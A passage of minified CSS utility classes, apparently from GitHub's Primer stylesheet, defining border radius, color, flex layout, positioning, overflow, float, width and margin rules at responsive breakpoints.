!important;border-bottom-left-radius:8px !important}.rounded-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}@media(min-width: 544px){.border-sm{border:1px solid var(--color-border-default) !important}.border-sm-0{border:0 !important}.border-sm-top{border-top:1px solid var(--color-border-default) !important}.border-sm-right{border-right:1px solid var(--color-border-default) !important}.border-sm-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-sm-left{border-left:1px solid var(--color-border-default) !important}.border-sm-top-0{border-top:0 !important}.border-sm-right-0{border-right:0 !important}.border-sm-bottom-0{border-bottom:0 !important}.border-sm-left-0{border-left:0 !important}.rounded-sm{border-radius:6px !important}.rounded-sm-0{border-radius:0 !important}.rounded-sm-1{border-radius:4px !important}.rounded-sm-2{border-radius:6px !important}.rounded-sm-3{border-radius:8px !important}.rounded-sm-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-sm-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-sm-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-sm-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-sm-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-sm-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-sm-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-sm-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-sm-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-sm-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-sm-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-sm-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-sm-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-sm-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-sm-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-sm-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 768px){.border-md{border:1px solid var(--color-border-default) !important}.border-md-0{border:0 !important}.border-md-top{border-top:1px solid var(--color-border-default) !important}.border-md-right{border-right:1px solid var(--color-border-default) !important}.border-md-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-md-left{border-left:1px solid var(--color-border-default) !important}.border-md-top-0{border-top:0 !important}.border-md-right-0{border-right:0 !important}.border-md-bottom-0{border-bottom:0 !important}.border-md-left-0{border-left:0 !important}.rounded-md{border-radius:6px !important}.rounded-md-0{border-radius:0 !important}.rounded-md-1{border-radius:4px !important}.rounded-md-2{border-radius:6px !important}.rounded-md-3{border-radius:8px !important}.rounded-md-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-md-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-md-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-md-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-md-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-md-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-md-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-md-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-md-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-md-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-md-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-md-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-md-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-md-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-md-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-md-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1012px){.border-lg{border:1px solid var(--color-border-default) !important}.border-lg-0{border:0 !important}.border-lg-top{border-top:1px solid var(--color-border-default) !important}.border-lg-right{border-right:1px solid var(--color-border-default) !important}.border-lg-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-lg-left{border-left:1px solid var(--color-border-default) !important}.border-lg-top-0{border-top:0 !important}.border-lg-right-0{border-right:0 !important}.border-lg-bottom-0{border-bottom:0 !important}.border-lg-left-0{border-left:0 !important}.rounded-lg{border-radius:6px !important}.rounded-lg-0{border-radius:0 !important}.rounded-lg-1{border-radius:4px !important}.rounded-lg-2{border-radius:6px !important}.rounded-lg-3{border-radius:8px !important}.rounded-lg-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-lg-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-lg-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-lg-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-lg-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-lg-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-lg-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-lg-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-lg-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-lg-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-lg-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-lg-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-lg-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-lg-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-lg-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-lg-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}@media(min-width: 1280px){.border-xl{border:1px solid var(--color-border-default) !important}.border-xl-0{border:0 !important}.border-xl-top{border-top:1px solid var(--color-border-default) !important}.border-xl-right{border-right:1px solid var(--color-border-default) !important}.border-xl-bottom{border-bottom:1px solid var(--color-border-default) !important}.border-xl-left{border-left:1px solid var(--color-border-default) !important}.border-xl-top-0{border-top:0 !important}.border-xl-right-0{border-right:0 !important}.border-xl-bottom-0{border-bottom:0 !important}.border-xl-left-0{border-left:0 !important}.rounded-xl{border-radius:6px !important}.rounded-xl-0{border-radius:0 !important}.rounded-xl-1{border-radius:4px !important}.rounded-xl-2{border-radius:6px !important}.rounded-xl-3{border-radius:8px !important}.rounded-xl-top-0{border-top-left-radius:0 !important;border-top-right-radius:0 !important}.rounded-xl-top-1{border-top-left-radius:4px !important;border-top-right-radius:4px !important}.rounded-xl-top-2{border-top-left-radius:6px !important;border-top-right-radius:6px !important}.rounded-xl-top-3{border-top-left-radius:8px !important;border-top-right-radius:8px !important}.rounded-xl-right-0{border-top-right-radius:0 !important;border-bottom-right-radius:0 !important}.rounded-xl-right-1{border-top-right-radius:4px !important;border-bottom-right-radius:4px !important}.rounded-xl-right-2{border-top-right-radius:6px !important;border-bottom-right-radius:6px !important}.rounded-xl-right-3{border-top-right-radius:8px !important;border-bottom-right-radius:8px !important}.rounded-xl-bottom-0{border-bottom-right-radius:0 !important;border-bottom-left-radius:0 !important}.rounded-xl-bottom-1{border-bottom-right-radius:4px !important;border-bottom-left-radius:4px !important}.rounded-xl-bottom-2{border-bottom-right-radius:6px !important;border-bottom-left-radius:6px !important}.rounded-xl-bottom-3{border-bottom-right-radius:8px !important;border-bottom-left-radius:8px !important}.rounded-xl-left-0{border-bottom-left-radius:0 !important;border-top-left-radius:0 !important}.rounded-xl-left-1{border-bottom-left-radius:4px !important;border-top-left-radius:4px !important}.rounded-xl-left-2{border-bottom-left-radius:6px !important;border-top-left-radius:6px !important}.rounded-xl-left-3{border-bottom-left-radius:8px !important;border-top-left-radius:8px !important}}.circle{border-radius:50% !important}.border-dashed{border-style:dashed !important}.color-shadow-small{box-shadow:var(--color-shadow-small) !important}.color-shadow-medium{box-shadow:var(--color-shadow-medium) !important}.color-shadow-large{box-shadow:var(--color-shadow-large) !important}.color-shadow-extra-large{box-shadow:var(--color-shadow-extra-large) !important}.box-shadow-none{box-shadow:none !important}.color-fg-default{color:var(--color-fg-default) !important}.color-fg-muted{color:var(--color-fg-muted) !important}.color-fg-subtle{color:var(--color-fg-subtle) !important}.color-fg-accent{color:var(--color-accent-fg) !important}.color-fg-success{color:var(--color-success-fg) !important}.color-fg-attention{color:var(--color-attention-fg) !important}.color-fg-severe{color:var(--color-severe-fg) !important}.color-fg-danger{color:var(--color-danger-fg) !important}.color-fg-open{color:var(--color-open-fg) !important}.color-fg-closed{color:var(--color-closed-fg) !important}.color-fg-done{color:var(--color-done-fg) !important}.color-fg-sponsors{color:var(--color-sponsors-fg) !important}.color-fg-on-emphasis{color:var(--color-fg-on-emphasis) !important}.color-bg-default{background-color:var(--color-canvas-default) !important}.color-bg-overlay{background-color:var(--color-canvas-overlay) !important}.color-bg-inset{background-color:var(--color-canvas-inset) !important}.color-bg-subtle{background-color:var(--color-canvas-subtle) !important}.color-bg-emphasis{background-color:var(--color-neutral-emphasis-plus) !important}.color-bg-accent{background-color:var(--color-accent-subtle) !important}.color-bg-accent-emphasis{background-color:var(--color-accent-emphasis) !important}.color-bg-success{background-color:var(--color-success-subtle) !important}.color-bg-success-emphasis{background-color:var(--color-success-emphasis) !important}.color-bg-attention{background-color:var(--color-attention-subtle) !important}.color-bg-attention-emphasis{background-color:var(--color-attention-emphasis) !important}.color-bg-severe{background-color:var(--color-severe-subtle) !important}.color-bg-severe-emphasis{background-color:var(--color-severe-emphasis) !important}.color-bg-danger{background-color:var(--color-danger-subtle) !important}.color-bg-danger-emphasis{background-color:var(--color-danger-emphasis) !important}.color-bg-open{background-color:var(--color-open-subtle) !important}.color-bg-open-emphasis{background-color:var(--color-open-emphasis) !important}.color-bg-closed{background-color:var(--color-closed-subtle) !important}.color-bg-closed-emphasis{background-color:var(--color-closed-emphasis) !important}.color-bg-done{background-color:var(--color-done-subtle) !important}.color-bg-done-emphasis{background-color:var(--color-done-emphasis) !important}.color-bg-sponsors{background-color:var(--color-sponsors-subtle) !important}.color-bg-sponsors-emphasis{background-color:var(--color-sponsors-emphasis) !important}.color-bg-transparent{background-color:transparent !important}.color-border-default{border-color:var(--color-border-default) !important}.color-border-muted{border-color:var(--color-border-muted) !important}.color-border-subtle{border-color:var(--color-border-subtle) !important}.color-border-accent{border-color:var(--color-accent-muted) !important}.color-border-accent-emphasis{border-color:var(--color-accent-emphasis) !important}.color-border-success{border-color:var(--color-success-muted) !important}.color-border-success-emphasis{border-color:var(--color-success-emphasis) !important}.color-border-attention{border-color:var(--color-attention-muted) !important}.color-border-attention-emphasis{border-color:var(--color-attention-emphasis) !important}.color-border-severe{border-color:var(--color-severe-muted) !important}.color-border-severe-emphasis{border-color:var(--color-severe-emphasis) !important}.color-border-danger{border-color:var(--color-danger-muted) !important}.color-border-danger-emphasis{border-color:var(--color-danger-emphasis) !important}.color-border-open{border-color:var(--color-open-muted) !important}.color-border-open-emphasis{border-color:var(--color-open-emphasis) !important}.color-border-closed{border-color:var(--color-closed-muted) !important}.color-border-closed-emphasis{border-color:var(--color-closed-emphasis) !important}.color-border-done{border-color:var(--color-done-muted) !important}.color-border-done-emphasis{border-color:var(--color-done-emphasis) !important}.color-border-sponsors{border-color:var(--color-sponsors-muted) !important}.color-border-sponsors-emphasis{border-color:var(--color-sponsors-emphasis) !important}.color-fg-inherit{color:inherit !important}.details-overlay[open]>summary::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent}.details-overlay-dark[open]>summary::before{z-index:111;background:var(--color-primer-canvas-backdrop)}.details-reset>summary{list-style:none;transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-reset>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-reset>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-reset>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-reset>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-reset>summary::before{display:none}.details-reset>summary::-webkit-details-marker{display:none}.details-overlay>summary{transition:80ms cubic-bezier(0.33, 1, 0.68, 1);transition-property:color,background-color,box-shadow,border-color}.details-overlay>summary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary:focus:not(:focus-visible){outline:solid 1px transparent}.details-overlay>summary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:none}.details-overlay>summary.btn-primary:focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.details-overlay>summary.btn-primary:focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.details-overlay>summary.btn-primary:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.flex-row{flex-direction:row !important}.flex-row-reverse{flex-direction:row-reverse !important}.flex-column{flex-direction:column !important}.flex-column-reverse{flex-direction:column-reverse !important}.flex-wrap{flex-wrap:wrap !important}.flex-nowrap{flex-wrap:nowrap !important}.flex-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-justify-start{justify-content:flex-start !important}.flex-justify-end{justify-content:flex-end !important}.flex-justify-center{justify-content:center !important}.flex-justify-between{justify-content:space-between !important}.flex-justify-around{justify-content:space-around !important}.flex-items-start{align-items:flex-start !important}.flex-items-end{align-items:flex-end !important}.flex-items-center{align-items:center !important}.flex-items-baseline{align-items:baseline !important}.flex-items-stretch{align-items:stretch !important}.flex-content-start{align-content:flex-start !important}.flex-content-end{align-content:flex-end !important}.flex-content-center{align-content:center !important}.flex-content-between{align-content:space-between !important}.flex-content-around{align-content:space-around !important}.flex-content-stretch{align-content:stretch !important}.flex-1{flex:1 !important}.flex-auto{flex:auto !important}.flex-grow-0{flex-grow:0 !important}.flex-shrink-0{flex-shrink:0 !important}.flex-self-auto{align-self:auto !important}.flex-self-start{align-self:flex-start !important}.flex-self-end{align-self:flex-end !important}.flex-self-center{align-self:center !important}.flex-self-baseline{align-self:baseline !important}.flex-self-stretch{align-self:stretch !important}.flex-order-1{order:1 !important}.flex-order-2{order:2 !important}.flex-order-none{order:inherit !important}@media(min-width: 544px){.flex-sm-row{flex-direction:row !important}.flex-sm-row-reverse{flex-direction:row-reverse !important}.flex-sm-column{flex-direction:column !important}.flex-sm-column-reverse{flex-direction:column-reverse !important}.flex-sm-wrap{flex-wrap:wrap !important}.flex-sm-nowrap{flex-wrap:nowrap !important}.flex-sm-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-sm-justify-start{justify-content:flex-start !important}.flex-sm-justify-end{justify-content:flex-end !important}.flex-sm-justify-center{justify-content:center !important}.flex-sm-justify-between{justify-content:space-between !important}.flex-sm-justify-around{justify-content:space-around !important}.flex-sm-items-start{align-items:flex-start !important}.flex-sm-items-end{align-items:flex-end !important}.flex-sm-items-center{align-items:center !important}.flex-sm-items-baseline{align-items:baseline !important}.flex-sm-items-stretch{align-items:stretch !important}.flex-sm-content-start{align-content:flex-start !important}.flex-sm-content-end{align-content:flex-end !important}.flex-sm-content-center{align-content:center !important}.flex-sm-content-between{align-content:space-between !important}.flex-sm-content-around{align-content:space-around !important}.flex-sm-content-stretch{align-content:stretch !important}.flex-sm-1{flex:1 !important}.flex-sm-auto{flex:auto !important}.flex-sm-grow-0{flex-grow:0 !important}.flex-sm-shrink-0{flex-shrink:0 !important}.flex-sm-self-auto{align-self:auto !important}.flex-sm-self-start{align-self:flex-start !important}.flex-sm-self-end{align-self:flex-end !important}.flex-sm-self-center{align-self:center !important}.flex-sm-self-baseline{align-self:baseline !important}.flex-sm-self-stretch{align-self:stretch !important}.flex-sm-order-1{order:1 !important}.flex-sm-order-2{order:2 !important}.flex-sm-order-none{order:inherit !important}}@media(min-width: 768px){.flex-md-row{flex-direction:row !important}.flex-md-row-reverse{flex-direction:row-reverse !important}.flex-md-column{flex-direction:column !important}.flex-md-column-reverse{flex-direction:column-reverse !important}.flex-md-wrap{flex-wrap:wrap !important}.flex-md-nowrap{flex-wrap:nowrap !important}.flex-md-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-md-justify-start{justify-content:flex-start !important}.flex-md-justify-end{justify-content:flex-end !important}.flex-md-justify-center{justify-content:center !important}.flex-md-justify-between{justify-content:space-between !important}.flex-md-justify-around{justify-content:space-around !important}.flex-md-items-start{align-items:flex-start !important}.flex-md-items-end{align-items:flex-end !important}.flex-md-items-center{align-items:center !important}.flex-md-items-baseline{align-items:baseline !important}.flex-md-items-stretch{align-items:stretch !important}.flex-md-content-start{align-content:flex-start !important}.flex-md-content-end{align-content:flex-end !important}.flex-md-content-center{align-content:center !important}.flex-md-content-between{align-content:space-between !important}.flex-md-content-around{align-content:space-around !important}.flex-md-content-stretch{align-content:stretch !important}.flex-md-1{flex:1 !important}.flex-md-auto{flex:auto !important}.flex-md-grow-0{flex-grow:0 !important}.flex-md-shrink-0{flex-shrink:0 !important}.flex-md-self-auto{align-self:auto !important}.flex-md-self-start{align-self:flex-start !important}.flex-md-self-end{align-self:flex-end !important}.flex-md-self-center{align-self:center !important}.flex-md-self-baseline{align-self:baseline !important}.flex-md-self-stretch{align-self:stretch !important}.flex-md-order-1{order:1 !important}.flex-md-order-2{order:2 !important}.flex-md-order-none{order:inherit !important}}@media(min-width: 1012px){.flex-lg-row{flex-direction:row !important}.flex-lg-row-reverse{flex-direction:row-reverse !important}.flex-lg-column{flex-direction:column !important}.flex-lg-column-reverse{flex-direction:column-reverse !important}.flex-lg-wrap{flex-wrap:wrap !important}.flex-lg-nowrap{flex-wrap:nowrap !important}.flex-lg-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-lg-justify-start{justify-content:flex-start !important}.flex-lg-justify-end{justify-content:flex-end !important}.flex-lg-justify-center{justify-content:center !important}.flex-lg-justify-between{justify-content:space-between !important}.flex-lg-justify-around{justify-content:space-around !important}.flex-lg-items-start{align-items:flex-start !important}.flex-lg-items-end{align-items:flex-end !important}.flex-lg-items-center{align-items:center !important}.flex-lg-items-baseline{align-items:baseline !important}.flex-lg-items-stretch{align-items:stretch !important}.flex-lg-content-start{align-content:flex-start !important}.flex-lg-content-end{align-content:flex-end !important}.flex-lg-content-center{align-content:center !important}.flex-lg-content-between{align-content:space-between !important}.flex-lg-content-around{align-content:space-around !important}.flex-lg-content-stretch{align-content:stretch !important}.flex-lg-1{flex:1 !important}.flex-lg-auto{flex:auto !important}.flex-lg-grow-0{flex-grow:0 !important}.flex-lg-shrink-0{flex-shrink:0 !important}.flex-lg-self-auto{align-self:auto !important}.flex-lg-self-start{align-self:flex-start !important}.flex-lg-self-end{align-self:flex-end !important}.flex-lg-self-center{align-self:center !important}.flex-lg-self-baseline{align-self:baseline !important}.flex-lg-self-stretch{align-self:stretch !important}.flex-lg-order-1{order:1 !important}.flex-lg-order-2{order:2 !important}.flex-lg-order-none{order:inherit !important}}@media(min-width: 1280px){.flex-xl-row{flex-direction:row !important}.flex-xl-row-reverse{flex-direction:row-reverse !important}.flex-xl-column{flex-direction:column !important}.flex-xl-column-reverse{flex-direction:column-reverse !important}.flex-xl-wrap{flex-wrap:wrap !important}.flex-xl-nowrap{flex-wrap:nowrap !important}.flex-xl-wrap-reverse{flex-wrap:wrap-reverse !important}.flex-xl-justify-start{justify-content:flex-start !important}.flex-xl-justify-end{justify-content:flex-end !important}.flex-xl-justify-center{justify-content:center !important}.flex-xl-justify-between{justify-content:space-between !important}.flex-xl-justify-around{justify-content:space-around !important}.flex-xl-items-start{align-items:flex-start !important}.flex-xl-items-end{align-items:flex-end !important}.flex-xl-items-center{align-items:center !important}.flex-xl-items-baseline{align-items:baseline !important}.flex-xl-items-stretch{align-items:stretch !important}.flex-xl-content-start{align-content:flex-start !important}.flex-xl-content-end{align-content:flex-end !important}.flex-xl-content-center{align-content:center !important}.flex-xl-content-between{align-content:space-between !important}.flex-xl-content-around{align-content:space-around !important}.flex-xl-content-stretch{align-content:stretch !important}.flex-xl-1{flex:1 !important}.flex-xl-auto{flex:auto !important}.flex-xl-grow-0{flex-grow:0 !important}.flex-xl-shrink-0{flex-shrink:0 !important}.flex-xl-self-auto{align-self:auto !important}.flex-xl-self-start{align-self:flex-start !important}.flex-xl-self-end{align-self:flex-end !important}.flex-xl-self-center{align-self:center !important}.flex-xl-self-baseline{align-self:baseline !important}.flex-xl-self-stretch{align-self:stretch !important}.flex-xl-order-1{order:1 !important}.flex-xl-order-2{order:2 !important}.flex-xl-order-none{order:inherit !important}}.position-static{position:static !important}.position-relative{position:relative !important}.position-absolute{position:absolute !important}.position-fixed{position:fixed !important}.position-sticky{position:sticky !important}@media(min-width: 544px){.position-sm-static{position:static !important}.position-sm-relative{position:relative !important}.position-sm-absolute{position:absolute !important}.position-sm-fixed{position:fixed !important}.position-sm-sticky{position:sticky !important}}@media(min-width: 768px){.position-md-static{position:static !important}.position-md-relative{position:relative !important}.position-md-absolute{position:absolute !important}.position-md-fixed{position:fixed !important}.position-md-sticky{position:sticky !important}}@media(min-width: 1012px){.position-lg-static{position:static !important}.position-lg-relative{position:relative !important}.position-lg-absolute{position:absolute !important}.position-lg-fixed{position:fixed !important}.position-lg-sticky{position:sticky !important}}@media(min-width: 1280px){.position-xl-static{position:static !important}.position-xl-relative{position:relative !important}.position-xl-absolute{position:absolute !important}.position-xl-fixed{position:fixed !important}.position-xl-sticky{position:sticky !important}}.top-0{top:0 !important}.right-0{right:0 !important}.bottom-0{bottom:0 !important}.left-0{left:0 !important}.top-auto{top:auto !important}.right-auto{right:auto !important}.bottom-auto{bottom:auto !important}.left-auto{left:auto !important}@media(min-width: 544px){.top-sm-0{top:0 !important}.right-sm-0{right:0 !important}.bottom-sm-0{bottom:0 !important}.left-sm-0{left:0 !important}.top-sm-auto{top:auto !important}.right-sm-auto{right:auto !important}.bottom-sm-auto{bottom:auto !important}.left-sm-auto{left:auto !important}}@media(min-width: 768px){.top-md-0{top:0 !important}.right-md-0{right:0 !important}.bottom-md-0{bottom:0 !important}.left-md-0{left:0 !important}.top-md-auto{top:auto !important}.right-md-auto{right:auto !important}.bottom-md-auto{bottom:auto !important}.left-md-auto{left:auto !important}}@media(min-width: 1012px){.top-lg-0{top:0 !important}.right-lg-0{right:0 !important}.bottom-lg-0{bottom:0 !important}.left-lg-0{left:0 !important}.top-lg-auto{top:auto !important}.right-lg-auto{right:auto !important}.bottom-lg-auto{bottom:auto !important}.left-lg-auto{left:auto !important}}@media(min-width: 1280px){.top-xl-0{top:0 !important}.right-xl-0{right:0 !important}.bottom-xl-0{bottom:0 !important}.left-xl-0{left:0 !important}.top-xl-auto{top:auto !important}.right-xl-auto{right:auto !important}.bottom-xl-auto{bottom:auto !important}.left-xl-auto{left:auto !important}}.v-align-middle{vertical-align:middle !important}.v-align-top{vertical-align:top !important}.v-align-bottom{vertical-align:bottom !important}.v-align-text-top{vertical-align:text-top !important}.v-align-text-bottom{vertical-align:text-bottom !important}.v-align-baseline{vertical-align:baseline !important}.overflow-visible{overflow:visible !important}.overflow-x-visible{overflow-x:visible !important}.overflow-y-visible{overflow-y:visible !important}.overflow-hidden{overflow:hidden !important}.overflow-x-hidden{overflow-x:hidden !important}.overflow-y-hidden{overflow-y:hidden !important}.overflow-auto{overflow:auto !important}.overflow-x-auto{overflow-x:auto !important}.overflow-y-auto{overflow-y:auto !important}.overflow-scroll{overflow:scroll !important}.overflow-x-scroll{overflow-x:scroll !important}.overflow-y-scroll{overflow-y:scroll !important}@media(min-width: 544px){.overflow-sm-visible{overflow:visible !important}.overflow-sm-x-visible{overflow-x:visible !important}.overflow-sm-y-visible{overflow-y:visible !important}.overflow-sm-hidden{overflow:hidden !important}.overflow-sm-x-hidden{overflow-x:hidden !important}.overflow-sm-y-hidden{overflow-y:hidden !important}.overflow-sm-auto{overflow:auto !important}.overflow-sm-x-auto{overflow-x:auto !important}.overflow-sm-y-auto{overflow-y:auto !important}.overflow-sm-scroll{overflow:scroll !important}.overflow-sm-x-scroll{overflow-x:scroll !important}.overflow-sm-y-scroll{overflow-y:scroll !important}}@media(min-width: 768px){.overflow-md-visible{overflow:visible !important}.overflow-md-x-visible{overflow-x:visible !important}.overflow-md-y-visible{overflow-y:visible !important}.overflow-md-hidden{overflow:hidden !important}.overflow-md-x-hidden{overflow-x:hidden !important}.overflow-md-y-hidden{overflow-y:hidden !important}.overflow-md-auto{overflow:auto !important}.overflow-md-x-auto{overflow-x:auto !important}.overflow-md-y-auto{overflow-y:auto !important}.overflow-md-scroll{overflow:scroll !important}.overflow-md-x-scroll{overflow-x:scroll !important}.overflow-md-y-scroll{overflow-y:scroll !important}}@media(min-width: 1012px){.overflow-lg-visible{overflow:visible !important}.overflow-lg-x-visible{overflow-x:visible !important}.overflow-lg-y-visible{overflow-y:visible !important}.overflow-lg-hidden{overflow:hidden !important}.overflow-lg-x-hidden{overflow-x:hidden !important}.overflow-lg-y-hidden{overflow-y:hidden !important}.overflow-lg-auto{overflow:auto !important}.overflow-lg-x-auto{overflow-x:auto !important}.overflow-lg-y-auto{overflow-y:auto !important}.overflow-lg-scroll{overflow:scroll !important}.overflow-lg-x-scroll{overflow-x:scroll !important}.overflow-lg-y-scroll{overflow-y:scroll !important}}@media(min-width: 1280px){.overflow-xl-visible{overflow:visible !important}.overflow-xl-x-visible{overflow-x:visible !important}.overflow-xl-y-visible{overflow-y:visible !important}.overflow-xl-hidden{overflow:hidden !important}.overflow-xl-x-hidden{overflow-x:hidden !important}.overflow-xl-y-hidden{overflow-y:hidden !important}.overflow-xl-auto{overflow:auto !important}.overflow-xl-x-auto{overflow-x:auto !important}.overflow-xl-y-auto{overflow-y:auto !important}.overflow-xl-scroll{overflow:scroll !important}.overflow-xl-x-scroll{overflow-x:scroll !important}.overflow-xl-y-scroll{overflow-y:scroll !important}}.clearfix::before{display:table;content:""}.clearfix::after{display:table;clear:both;content:""}.float-left{float:left !important}.float-right{float:right !important}.float-none{float:none !important}@media(min-width: 544px){.float-sm-left{float:left !important}.float-sm-right{float:right !important}.float-sm-none{float:none !important}}@media(min-width: 768px){.float-md-left{float:left !important}.float-md-right{float:right !important}.float-md-none{float:none !important}}@media(min-width: 1012px){.float-lg-left{float:left !important}.float-lg-right{float:right !important}.float-lg-none{float:none !important}}@media(min-width: 1280px){.float-xl-left{float:left !important}.float-xl-right{float:right !important}.float-xl-none{float:none !important}}.width-fit{max-width:100% !important}.width-full{width:100% !important}.height-fit{max-height:100% !important}.height-full{height:100% !important}.min-width-0{min-width:0 !important}.width-auto{width:auto !important}.direction-rtl{direction:rtl !important}.direction-ltr{direction:ltr !important}@media(min-width: 544px){.width-sm-auto{width:auto !important}.direction-sm-rtl{direction:rtl !important}.direction-sm-ltr{direction:ltr !important}}@media(min-width: 768px){.width-md-auto{width:auto !important}.direction-md-rtl{direction:rtl !important}.direction-md-ltr{direction:ltr !important}}@media(min-width: 1012px){.width-lg-auto{width:auto !important}.direction-lg-rtl{direction:rtl !important}.direction-lg-ltr{direction:ltr !important}}@media(min-width: 1280px){.width-xl-auto{width:auto !important}.direction-xl-rtl{direction:rtl !important}.direction-xl-ltr{direction:ltr !important}}.m-0{margin:0 !important}.mt-0{margin-top:0 !important}.mb-0{margin-bottom:0 !important}.mr-0{margin-right:0 !important}.ml-0{margin-left:0 !important}.mx-0{margin-right:0 !important;margin-left:0 !important}.my-0{margin-top:0 !important;margin-bottom:0 !important}.m-1{margin:4px !important}.mt-1{margin-top:4px !important}.mb-1{margin-bottom:4px !important}.mr-1{margin-right:4px !important}.ml-1{margin-left:4px !important}.mt-n1{margin-top:-4px !important}.mb-n1{margin-bottom:-4px !important}.mr-n1{margin-right:-4px !important}.ml-n1{margin-left:-4px !important}.mx-1{margin-right:4px !important;margin-left:4px !important}.my-1{margin-top:4px !important;margin-bottom:4px !important}.m-2{margin:8px !important}.mt-2{margin-top:8px !important}.mb-2{margin-bottom:8px !important}.mr-2{margin-right:8px !important}.ml-2{margin-left:8px !important}.mt-n2{margin-top:-8px !important}.mb-n2{margin-bottom:-8px !important}.mr-n2{margin-right:-8px !important}.ml-n2{margin-left:-8px !important}.mx-2{margin-right:8px !important;margin-left:8px !important}.my-2{margin-top:8px !important;margin-bottom:8px !important}.m-3{margin:16px !important}.mt-3{margin-top:16px !important}.mb-3{margin-bottom:16px !important}.mr-3{margin-right:16px !important}.ml-3{margin-left:16px !important}.mt-n3{margin-top:-16px !important}.mb-n3{margin-bottom:-16px !important}.mr-n3{margin-right:-16px !important}.ml-n3{margin-left:-16px !important}.mx-3{margin-right:16px !important;margin-left:16px 